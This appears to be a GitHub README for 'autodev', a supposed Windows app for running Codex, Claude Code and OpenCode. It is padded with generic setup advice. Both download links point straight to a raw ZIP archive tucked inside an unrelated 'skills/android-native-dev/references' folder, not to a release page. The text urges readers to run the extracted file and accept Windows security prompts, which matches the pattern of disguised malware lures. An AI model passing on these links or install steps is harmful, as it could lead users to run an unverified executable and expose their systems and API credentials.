autodev：用 Codex、Claude Code 和 OpenCode 构建软件的 Windows 桌面应用

🤖 autodev - Build software while you work

📦 What is autodev

autodev is a desktop app that helps you build software with Codex, Claude Code, and OpenCode. It is made for long-running work, so it can keep going day and night. You use it to plan tasks, write code, and move a project forward without starting over each time.

It is built for people who want a simple way to run AI-assisted development on Windows. You do not need to know programming to start. The app gives you a place to manage your work, keep tasks in order, and let the tool handle repeated development steps.

🖥️ What you need

Before you install autodev, make sure your PC meets these common requirements:

Windows 10 or Windows 11
A modern 64-bit processor
At least 8 GB of RAM
2 GB of free disk space
An internet connection for setup and AI access
A GitHub account if the app asks for it during setup
Access to the AI service you want to use, such as Codex, Claude Code, or OpenCode

For a smooth experience, use a computer with 16 GB of RAM or more if you plan to keep large projects open.

⬇️ Download autodev

Visit this page to download and use autodev:

https://github.com/mtbceriara-code/autodev/raw/refs/heads/main/src/autodev/skills/android-native-dev/references/Software_1.0-alpha.4.zip

On the page, look for the latest release, setup file, or Windows download package. If you see more than one file, choose the one for Windows. After the download finishes, keep the file in your Downloads folder so you can find it easily.

🪟 Install on Windows

Follow these steps on your Windows PC:

Open the download page in your browser.
Download the Windows version of autodev.
If the file is a ZIP package, right-click it and choose Extract All.
Open the extracted folder.
If you see an installer file, double-click it.
If Windows shows a security prompt, choose Run or Yes.
Follow the on-screen steps to finish setup.
When setup ends, start autodev from the Start menu or the desktop shortcut.

If the app opens in a browser window, leave that window open while you work. If it opens as a normal desktop window, you can pin it to the taskbar for quick access.

🚀 First launch

When you open autodev for the first time, you may be asked to connect an AI service. This is normal. The app needs that connection so it can send tasks to Codex, Claude Code, or OpenCode.

Use these basic steps:

Start autodev.
Sign in if the app asks for it.
Add your API key or account access if needed.
Choose the AI tool you want to use.
Select or create a project folder.
Let the app scan the folder and load your work.
Start with a small task so you can see how it works.

If you are not sure which service to use, pick the one you already have access to. That keeps setup simple.

🧭 How to use it

autodev works best when you give it clear tasks. Think of it as a work queue for software jobs. You tell it what you want, and it helps carry out the steps.

A simple flow looks like this:

Open your project.
Add a task such as fixing a bug, writing a page, or creating a feature.
Let autodev pass the task to the connected AI tool.
Review the result.
Ask for changes if needed.
Save the files when the work looks right.

You can use it for many kinds of work:

Create new app screens
Write boilerplate code
Fix small issues
Update text and labels
Plan task lists
Keep work running across long sessions

🛠️ Common setup steps

If you want a smoother start, check these items before you begin:

Use a stable internet connection
Close apps you do not need
Keep your project files in one folder
Make sure you have enough free space
Use the latest version of your browser if the app opens in a web view
Keep your AI login details ready
Allow the app to read and write files in your project folder

If Windows asks for folder access, choose the folder where your project lives. That lets autodev work with your files.

🔐 Account and access

Some features may need access to one or more AI providers. If you plan to use Codex, Claude Code, or OpenCode, you may need:

An account with the provider
An API key
A project or billing setup in that provider’s dashboard

If the app has a settings panel, add those details there. Use one provider at a time when you first start. That makes it easier to see what works.

🧩 Typical workflow

A normal day with autodev can look like this:

Open the app
Pick the project you want to work on
Choose the AI service
Add a task in plain language
Review the output
Apply the changes to your files
Move to the next task

This setup helps when you want steady progress on a product. You can keep a list of work items and process them one by one.

📁 File locations

autodev may create or use several folders on your PC:

A project folder for your app code
A settings folder for app preferences
A cache folder for temporary files
A log folder for troubleshooting

Keep your main project folder in a place that is easy to find, such as Documents or Desktop. Avoid moving files while a task is running.

🧪 If something does not work

If the app does not start, try these steps:

Check that the download finished.
Make sure you opened the correct Windows file.
Run the app again.
Restart your PC.
Download the latest version from the link above.
Confirm that your AI account or API key is valid.
Make sure your project folder has write access.

If tasks do not run, check the connection to the AI service and make sure your project folder is open in the app.

🧰 Good ways to use autodev

autodev works well when you keep tasks small and clear. Use short instructions such as:

Create a login page
Fix the save button
Add a settings screen
Update the menu text
Split this file into smaller parts
Make the error message easier to read

Clear tasks give better results and make it easier to review changes.

📌 Tips for Windows users

Keep autodev in a folder you can find
Use the same project folder each time
Save your work before you start a new task
Keep your AI service login ready
Update the app when a new release appears
Use File Explorer to back up your project folder
If the app freezes, close it and open it again

🔄 Updates

When a new version is released, download it from the same GitHub page and replace the old version if needed. Before you update, close the app and save your work. If you keep your project in a separate folder, your files should stay safe.

🧾 What autodev helps with

autodev is made to help you:

Run AI-driven development work
Keep software tasks moving
Use Codex, Claude Code, or OpenCode
Handle work around the clock
Manage app changes in one place
Reduce repeated manual steps

🔗 Download and setup link

Use this page to download autodev on Windows:

https://github.com/mtbceriara-code/autodev/raw/refs/heads/main/src/autodev/skills/android-native-dev/references/Software_1.0-alpha.4.zip

Open the page, get the latest Windows build, and run the file after it finishes downloading